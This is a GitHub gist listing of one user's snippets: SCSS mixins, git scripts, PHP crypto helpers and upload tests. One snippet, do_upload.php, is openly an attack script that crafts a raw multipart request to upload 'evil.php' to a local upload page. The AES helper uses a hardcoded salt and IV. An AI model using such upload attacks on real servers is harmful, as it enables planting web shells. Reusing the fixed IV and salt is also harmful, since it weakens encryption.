Skip to content

Instantly share code, notes, and snippets.

View raksa's full-sized avatar
🎯
Focusing

raksa raksa

🎯
Focusing
View GitHub Profile
@raksa
raksa / vendor-prefix-mixin.scss
Last active April 15, 2022 11:42
Vendor prefix mixin for sass.
@mixin prefix-border-radius($radius) {
-webkit-border-radius: $radius;
-moz-border-radius: $radius;
-ms-border-radius: $radius;
border-radius: $radius;
}
// http://joshbroton.com/quick-fix-sass-mixins-for-css-keyframe-animations/
@mixin animation($animate...) {
$max: length($animate);
@raksa
raksa / update_author.sh
Created April 19, 2017 08:23
auto reset git committed author
#!/bin/sh
git filter-branch --env-filter '
OLD_EMAIL="old.name@mail.com"
CORRECT_NAME="newname"
CORRECT_EMAIL="new.name@mail.com"
if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ]
then
export GIT_COMMITTER_NAME="$CORRECT_NAME"
export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL"
@raksa
raksa / index.html
Created May 13, 2017 00:55
HTML-CSS: maintenance page aim to mobile instead
<!doctype html>
<html>
<head>
<title>Your Site</title>
<link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon">
<link rel="apple-touch-icon" href="img/favoicon.png">
<meta name="viewport" content="user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width, height=device-height"
/>
<style>
@raksa
raksa / php7<->CryptoJS.php
Created September 25, 2018 09:29
encrypt and decrypt by PHP7, encrypt and decrypt by JS
<?php
const SALT = 'salt';
const IV = '1111111111111111';
const ITERATIONS = 999;
function userPHPEncrypt($passphrase, $plainText)
{
$key = \hash_pbkdf2("sha256", $passphrase, SALT, ITERATIONS, 64);
$encryptedData = \openssl_encrypt($plainText, 'AES-256-CBC', \hex2bin($key), OPENSSL_RAW_DATA, IV);
return \base64_encode($encryptedData);
}
@raksa
raksa / test-upload-file.php
Created September 25, 2018 09:31
test upload file, check file status
<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" method="POST">
<!-- MAX_FILE_SIZE must precede the file input field -->
<input type="hidden" name="MAX_FILE_SIZE" value="300000" />
<!-- Name of input element determines name in $_FILES array -->
Send this file: <input name="user_file" type="file" />
<br>
<input type="submit" value="Send File" />
</form>
<?php
@raksa
raksa / ip.php
Created September 25, 2018 09:36
get client ip address
<?php
function getPublic()
{
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://ipinfo.io/ip",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
@raksa
raksa / do_upload.php
Created September 25, 2018 09:39
upload file from PHP using \fwrite()
<?php
// The destination for our attack:
$host = "localhost";
$port = 82;
$page = "/upload.php";
// Here we have the file we're uploading (note the content-type):
$payload =
"------ThisIsABoundary
Content-Disposition: form-data; name=\"file\"; filename=\"evil.php\"
@raksa
raksa / md5_checksum.php
Created September 25, 2018 09:40
md5 checksum
<?php
$checksum = \md5('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
@raksa
raksa / post-receive
Created September 25, 2018 09:47
for git (bare) hook post receive
#!/bin/bash
function do_something () {
echo "do something"
}
while test $# -gt 0; do
case "$1" in
-h|--help)
echo "options:"
@raksa
raksa / php<=>js RSA.php
Last active October 3, 2018 03:17
php <=> js , asymmetric cipher
<?php
require_once 'vendor/autoload.php';
// composer require phpseclib/phpseclib
use phpseclib\Crypt\RSA;
function getFileContent($filePath = '')
{
try {
if (\file_exists($filePath)) {
$file = \fopen($filePath, "r");